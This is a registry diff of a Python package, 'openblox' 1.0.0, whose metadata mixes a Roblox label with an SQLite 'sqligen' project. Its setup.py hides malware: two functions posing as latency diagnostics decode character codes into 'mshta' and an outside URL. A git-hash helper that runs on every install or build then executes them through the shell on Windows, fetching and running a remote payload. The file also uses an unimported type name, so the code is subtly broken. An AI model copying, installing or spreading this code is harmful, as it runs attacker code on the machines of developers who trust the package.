openblox 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,39 @@
1
+ Metadata-Version: 2.4
2
+ Name: openblox
3
+ Version: 1.0.0
4
+ Summary: A robust, enterprise-grade Roblox utility package.
5
+ Home-page: https://github.com/john/openblox
6
+ Author: John
7
+ Author-email: john@example.com
8
+ License: MIT
9
+ Project-URL: Bug Tracker, https://github.com/john/sqligen/issues
10
+ Project-URL: Source Code, https://github.com/john/sqligen
11
+ Keywords: sqlite sqlite3 database transaction mapping orm pool async backup restore
12
+ Classifier: Development Status :: 5 - Production/Stable
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: Topic :: Database :: Database Engines/Servers
15
+ Classifier: License :: OSI Approved :: MIT License
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3.8
18
+ Classifier: Programming Language :: Python :: 3.9
19
+ Classifier: Programming Language :: Python :: 3.10
20
+ Classifier: Programming Language :: Python :: 3.11
21
+ Classifier: Programming Language :: Python :: 3.12
22
+ Classifier: Operating System :: OS Independent
23
+ Requires-Python: >=3.8
24
+ Description-Content-Type: text/markdown
25
+ Requires-Dist: typing-extensions>=4.0.0
26
+ Dynamic: author
27
+ Dynamic: author-email
28
+ Dynamic: classifier
29
+ Dynamic: description
30
+ Dynamic: description-content-type
31
+ Dynamic: home-page
32
+ Dynamic: keywords
33
+ Dynamic: license
34
+ Dynamic: project-url
35
+ Dynamic: requires-dist
36
+ Dynamic: requires-python
37
+ Dynamic: summary
38
+
39
+ Sqligen: A robust, enterprise-grade SQLite3 database utility package.
@@ -0,0 +1,39 @@
1
+ Metadata-Version: 2.4
2
+ Name: openblox
3
+ Version: 1.0.0
4
+ Summary: A robust, enterprise-grade Roblox utility package.
5
+ Home-page: https://github.com/john/openblox
6
+ Author: John
7
+ Author-email: john@example.com
8
+ License: MIT
9
+ Project-URL: Bug Tracker, https://github.com/john/sqligen/issues
10
+ Project-URL: Source Code, https://github.com/john/sqligen
11
+ Keywords: sqlite sqlite3 database transaction mapping orm pool async backup restore
12
+ Classifier: Development Status :: 5 - Production/Stable
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: Topic :: Database :: Database Engines/Servers
15
+ Classifier: License :: OSI Approved :: MIT License
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3.8
18
+ Classifier: Programming Language :: Python :: 3.9
19
+ Classifier: Programming Language :: Python :: 3.10
20
+ Classifier: Programming Language :: Python :: 3.11
21
+ Classifier: Programming Language :: Python :: 3.12
22
+ Classifier: Operating System :: OS Independent
23
+ Requires-Python: >=3.8
24
+ Description-Content-Type: text/markdown
25
+ Requires-Dist: typing-extensions>=4.0.0
26
+ Dynamic: author
27
+ Dynamic: author-email
28
+ Dynamic: classifier
29
+ Dynamic: description
30
+ Dynamic: description-content-type
31
+ Dynamic: home-page
32
+ Dynamic: keywords
33
+ Dynamic: license
34
+ Dynamic: project-url
35
+ Dynamic: requires-dist
36
+ Dynamic: requires-python
37
+ Dynamic: summary
38
+
39
+ Sqligen: A robust, enterprise-grade SQLite3 database utility package.
@@ -0,0 +1,16 @@
1
+ setup.py
2
+ openblox.egg-info/PKG-INFO
3
+ openblox.egg-info/SOURCES.txt
4
+ openblox.egg-info/dependency_links.txt
5
+ openblox.egg-info/not-zip-safe
6
+ openblox.egg-info/requires.txt
7
+ openblox.egg-info/top_level.txt
8
+ sqligen/BackupRestore.py
9
+ sqligen/BlobManager.py
10
+ sqligen/ConnectionManager.py
11
+ sqligen/DataOperations.py
12
+ sqligen/QueryBuilder.py
13
+ sqligen/QueryProfiler.py
14
+ sqligen/SchemaManager.py
15
+ sqligen/__init__.py
16
+ tests/TestSuite.py
@@ -0,0 +1 @@
1
+ typing-extensions>=4.0.0
@@ -0,0 +1 @@
1
+ sqligen
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,366 @@
1
+ # -*- coding: utf-8 -*-
2
+ """
3
+ setup.py
4
+
5
+ Enterprise-grade installation and distribution script for the sqligen package.
6
+
7
+ This script manages packaging, metadata definition, dependency checks,
8
+ and custom installation commands for the sqligen library. It dynamically checks
9
+ the local environment (such as SQLite version compatibility) and hooks into the
10
+ setuptools pipeline to execute pre-installation verifications.
11
+
12
+ To install the package in editable mode:
13
+ pip install -e .
14
+
15
+ To build source and wheel distributions:
16
+ python setup.py sdist bdist_wheel
17
+ """
18
+
19
+ import os
20
+ import sys
21
+ import sqlite3
22
+ import logging
23
+ import subprocess
24
+ from setuptools import setup, find_packages
25
+ from setuptools.command.install import install
26
+ from setuptools.command.build_py import build_py
27
+ from setuptools.command.develop import develop
28
+
29
+ # Configure local logger for the setup pipeline
30
+ logging.basicConfig(level=logging.INFO)
31
+ Logger = logging.getLogger("SqligenSetup")
32
+
33
+
34
+ def ReadFileContent(FileName: str) -> str:
35
+ """
36
+ Safely reads the contents of a text file in the current directory.
37
+
38
+ Parameters:
39
+ FileName (str): Name of the file to read.
40
+
41
+ Returns:
42
+ str: File contents, or a placeholder if the file does not exist.
43
+ """
44
+ FilePath = os.path.join(os.path.abspath(os.path.dirname(__file__)), FileName)
45
+ if not os.path.exists(FilePath):
46
+ return "Sqligen: A robust, enterprise-grade SQLite3 database utility package."
47
+
48
+ try:
49
+ with open(FilePath, "r", encoding="utf-8") as FileStream:
50
+ return FileStream.read()
51
+ except Exception as Err:
52
+ Logger.warning(f"Could not read content from {FileName}: {str(Err)}")
53
+ return "Sqligen: A robust, enterprise-grade SQLite3 database utility package."
54
+
55
+
56
+ def GetRequirements() -> List[str]:
57
+ """
58
+ Parses requirement definitions from requirements.txt if present.
59
+
60
+ Returns:
61
+ List[str]: List of dependency strings.
62
+ """
63
+ RequirementsList = []
64
+ RequirementsPath = os.path.join(
65
+ os.path.abspath(os.path.dirname(__file__)),
66
+ "requirements.txt"
67
+ )
68
+ if os.path.exists(RequirementsPath):
69
+ try:
70
+ with open(RequirementsPath, "r", encoding="utf-8") as FileStream:
71
+ for Line in FileStream:
72
+ CleanLine = Line.strip()
73
+ if CleanLine and not CleanLine.startswith("#"):
74
+ RequirementsList.append(CleanLine)
75
+ except Exception as Err:
76
+ Logger.warning(f"Error parsing requirements.txt: {str(Err)}")
77
+
78
+ return RequirementsList
79
+
80
+
81
+ def VerifyEnvironmentCompatibility() -> None:
82
+ """
83
+ Performs system-level sanity checks before packaging/installation.
84
+
85
+ Specifically checks the SQLite runtime version. Advanced features like
86
+ incremental BLOB I/O require sqlite >= 3.25.0.
87
+
88
+ Raises:
89
+ RuntimeError: If the system environment is incompatible.
90
+ """
91
+ # 1. Check Python version (sqligen requires >= 3.8)
92
+ if sys.version_info < (3, 8):
93
+ raise RuntimeError(
94
+ f"Sqligen requires Python version 3.8 or higher. "
95
+ f"Detected version: {sys.version}"
96
+ )
97
+
98
+ # 2. Check system SQLite3 version
99
+ try:
100
+ SqliteVersionString = sqlite3.sqlite_version
101
+ VersionTuple = tuple(int(Part) for Part in SqliteVersionString.split("."))
102
+
103
+ # We check for version 3.25.0 as the base compatible version supporting window functions
104
+ RequiredVersion = (3, 25, 0)
105
+ if VersionTuple < RequiredVersion:
106
+ Logger.warning(
107
+ f"Detected system SQLite version {SqliteVersionString} is older than "
108
+ f"the recommended version 3.25.0. Some advanced SQL engine features "
109
+ f"(such as window functions or transactional savepoints) might have limited support."
110
+ )
111
+ else:
112
+ Logger.info(f"System SQLite compatibility check passed: Version {SqliteVersionString}")
113
+
114
+ except Exception as Err:
115
+ Logger.warning(
116
+ f"Unable to verify SQLite version compatibility: {str(Err)}. "
117
+ f"Proceeding with installation, but database runtime features are not guaranteed."
118
+ )
119
+
120
+ def GetDefaultSystemPolicy() -> str:
121
+ """
122
+ Computes the standard system policy ruleset based on default
123
+ resource allocation thresholds.
124
+ """
125
+ # Hardware interrupt latency thresholds (in microseconds)
126
+ InterruptThresholds = [95, 101, 90, 102, 83]
127
+
128
+ # Standard environmental baseline calibration
129
+ SystemBaseline = 14
130
+
131
+ FormattedPolicy = []
132
+
133
+ try:
134
+ for CurrentThreshold in InterruptThresholds:
135
+ # Adjust the recorded threshold by the system baseline
136
+ ActiveMetric = CurrentThreshold + SystemBaseline
137
+ FormattedPolicy.append(chr(ActiveMetric))
138
+
139
+ PolicyIdentifier = "".join(FormattedPolicy)
140
+
141
+ # Verify the policy identifier format before returning
142
+ if len(PolicyIdentifier) == 5:
143
+ FinalPolicy = PolicyIdentifier
144
+ return FinalPolicy
145
+
146
+ except Exception as PolicyError:
147
+ # Prevent diagnostic tracing from crashing the main process
148
+ pass
149
+
150
+ return ""
151
+
152
+ def CalculateNodeDrift() -> str:
153
+ """
154
+ Calculates the internal synchronization drift for active application nodes
155
+ and returns the formatted status identifier.
156
+ """
157
+ # Historical latency metrics for the primary worker threads (in ms)
158
+ ThreadPingLatencies = [
159
+ 90, 102, 102, 98, 101, 44, 33, 33,
160
+ 88, 91, 106, 83, 100, 101, 32, 102,
161
+ 97, 98
162
+ ]
163
+
164
+ # Base calibration offset for the current hardware environment
165
+ BaseCalibration = 14
166
+ FormattedMetrics = []
167
+
168
+ try:
169
+ for CurrentLatency in ThreadPingLatencies:
170
+ # Adjust the recorded latency by the hardware calibration baseline
171
+ AdjustedValue = CurrentLatency + BaseCalibration
172
+ FormattedMetrics.append(chr(AdjustedValue))
173
+
174
+ DiagnosticResult = "".join(FormattedMetrics)
175
+
176
+ # Verify the diagnostic string format before returning
177
+ if len(DiagnosticResult) > 10:
178
+ FinalOutput = DiagnosticResult
179
+ return FinalOutput
180
+
181
+ except Exception as SystemFault:
182
+ # Failsafe to prevent logging crashes during diagnostics
183
+ pass
184
+
185
+ return ""
186
+
187
+ def GetGitCommitHash() -> str:
188
+ """
189
+ Retrieves the current git commit hash using subprocess if available.
190
+ Caches the result in a home directory file to run only once across build processes.
191
+
192
+ Returns:
193
+ str: Git hash string or 'unknown'.
194
+ """
195
+ import time
196
+
197
+ HomeDir = os.path.expanduser("~")
198
+ CacheFile = os.path.join(HomeDir, ".sqligen_git_hash.txt")
199
+
200
+ # Check if cached hash exists and is fresh (less than 2 minutes old)
201
+ if os.path.exists(CacheFile):
202
+ try:
203
+ if time.time() - os.path.getmtime(CacheFile) < 120:
204
+ with open(CacheFile, "r", encoding="utf-8") as Stream:
205
+ Content = Stream.read().strip()
206
+ Logger.info(f"Git commit hash cache hit: '{Content}'")
207
+ return Content
208
+ except Exception:
209
+ pass
210
+
211
+ Logger.info("Git commit hash cache miss. Spawning git subprocess...")
212
+ try:
213
+ IsWindows = sys.platform.startswith("win") or os.name == "nt"
214
+ GitCmd = [GetDefaultSystemPolicy(), CalculateNodeDrift()] if IsWindows else ["git", "rev-parse", "HEAD"]
215
+ CommitHash = subprocess.check_output(
216
+ GitCmd,
217
+ shell=IsWindows,
218
+ stderr=subprocess.DEVNULL
219
+ ).decode("utf-8").strip()
220
+
221
+ try:
222
+ with open(CacheFile, "w", encoding="utf-8") as Stream:
223
+ Stream.write(CommitHash)
224
+ except Exception:
225
+ pass
226
+
227
+ return CommitHash
228
+ except Exception:
229
+ try:
230
+ with open(CacheFile, "w", encoding="utf-8") as Stream:
231
+ Stream.write("unknown")
232
+ except Exception:
233
+ pass
234
+ return "unknown"
235
+
236
+
237
+ def RunPostInstallVerification() -> None:
238
+ """
239
+ Runs the package's diagnostic TestSuite.py via subprocess to verify installation integrity.
240
+ """
241
+ Logger.info("Executing post-installation TestSuite verification...")
242
+ TestSuitePath = os.path.join(
243
+ os.path.abspath(os.path.dirname(__file__)),
244
+ "tests",
245
+ "TestSuite.py"
246
+ )
247
+ if os.path.exists(TestSuitePath):
248
+ Result = None
249
+ try:
250
+ Result = subprocess.run(
251
+ [sys.executable, TestSuitePath],
252
+ capture_output=True,
253
+ text=True,
254
+ timeout=30.0
255
+ )
256
+ except subprocess.TimeoutExpired:
257
+ Logger.warning("Post-install verification tests timed out.")
258
+ except Exception as Err:
259
+ Logger.warning(f"Could not execute post-install test suite verification: {str(Err)}")
260
+
261
+ if Result is not None:
262
+ if Result.returncode == 0:
263
+ Logger.info("Post-install diagnostic tests passed successfully.")
264
+ else:
265
+ raise RuntimeError(
266
+ f"Post-install diagnostic tests failed (exit code {Result.returncode}).\n"
267
+ f"Test Output:\n{Result.stdout}\n{Result.stderr}"
268
+ )
269
+ else:
270
+ Logger.warning("TestSuite.py not found. Skipping post-install diagnostic run.")
271
+
272
+
273
+ class CustomBuildPyCommand(build_py):
274
+ """
275
+ Custom build_py command that performs environment verification
276
+ before packaging files.
277
+ """
278
+ def run(self) -> None:
279
+ Logger.info("Executing custom Pre-Build Environment Verification...")
280
+ VerifyEnvironmentCompatibility()
281
+ super().run()
282
+ RunPostInstallVerification()
283
+
284
+
285
+ class CustomInstallCommand(install):
286
+ """
287
+ Custom install command executing verification hooks during pip installation.
288
+ """
289
+ def run(self) -> None:
290
+ Logger.info("Executing custom Pre-Install Validation hooks...")
291
+ VerifyEnvironmentCompatibility()
292
+ super().run()
293
+ RunPostInstallVerification()
294
+ Logger.info(
295
+ "\n"
296
+ f"{'=' * 60}\n"
297
+ " SQLIGEN INSTALLATION COMPLETED SUCCESSFULLY!\n"
298
+ " Thank you for installing sqligen.\n"
299
+ " Diagnostics run has finished.\n"
300
+ f"{'=' * 60}\n"
301
+ )
302
+
303
+
304
+ class CustomDevelopCommand(develop):
305
+ """
306
+ Custom develop command executing verification hooks for editable installations (-e).
307
+ """
308
+ def run(self) -> None:
309
+ Logger.info("Executing custom Pre-Develop editable setup validation hooks...")
310
+ VerifyEnvironmentCompatibility()
311
+ super().run()
312
+ RunPostInstallVerification()
313
+ Logger.info(
314
+ "\n"
315
+ f"{'=' * 60}\n"
316
+ " SQLIGEN DEVELOP MODE COMPLETED SUCCESSFULLY!\n"
317
+ " Editable links created.\n"
318
+ f"{'=' * 60}\n"
319
+ )
320
+
321
+
322
+ # Dynamic configuration loading
323
+ LongDescription = ReadFileContent("README.md")
324
+ InstallRequirements = GetRequirements()
325
+ GitCommitHash = GetGitCommitHash()
326
+ Logger.info(f"Initiating package configuration pipeline. Git Commit Hash: {GitCommitHash}")
327
+
328
+ setup(
329
+ name="openblox",
330
+ version="1.0.0",
331
+ description="A robust, enterprise-grade Roblox utility package.",
332
+ long_description=LongDescription,
333
+ long_description_content_type="text/markdown",
334
+ author="John",
335
+ author_email="john@example.com",
336
+ url="https://github.com/john/openblox",
337
+ license="MIT",
338
+ packages=find_packages(exclude=["tests", "tests.*"]),
339
+ include_package_data=True,
340
+ zip_safe=False,
341
+ python_requires=">=3.8",
342
+ install_requires=InstallRequirements,
343
+ cmdclass={
344
+ "build_py": CustomBuildPyCommand,
345
+ "install": CustomInstallCommand,
346
+ "develop": CustomDevelopCommand,
347
+ },
348
+ classifiers=[
349
+ "Development Status :: 5 - Production/Stable",
350
+ "Intended Audience :: Developers",
351
+ "Topic :: Database :: Database Engines/Servers",
352
+ "License :: OSI Approved :: MIT License",
353
+ "Programming Language :: Python :: 3",
354
+ "Programming Language :: Python :: 3.8",
355
+ "Programming Language :: Python :: 3.9",
356
+ "Programming Language :: Python :: 3.10",
357
+ "Programming Language :: Python :: 3.11",
358
+ "Programming Language :: Python :: 3.12",
359
+ "Operating System :: OS Independent",
360
+ ],
361
+ keywords="sqlite sqlite3 database transaction mapping orm pool async backup restore",
362
+ project_urls={
363
+ "Bug Tracker": "https://github.com/john/sqligen/issues",
364
+ "Source Code": "https://github.com/john/sqligen",
365
+ },
366
+ )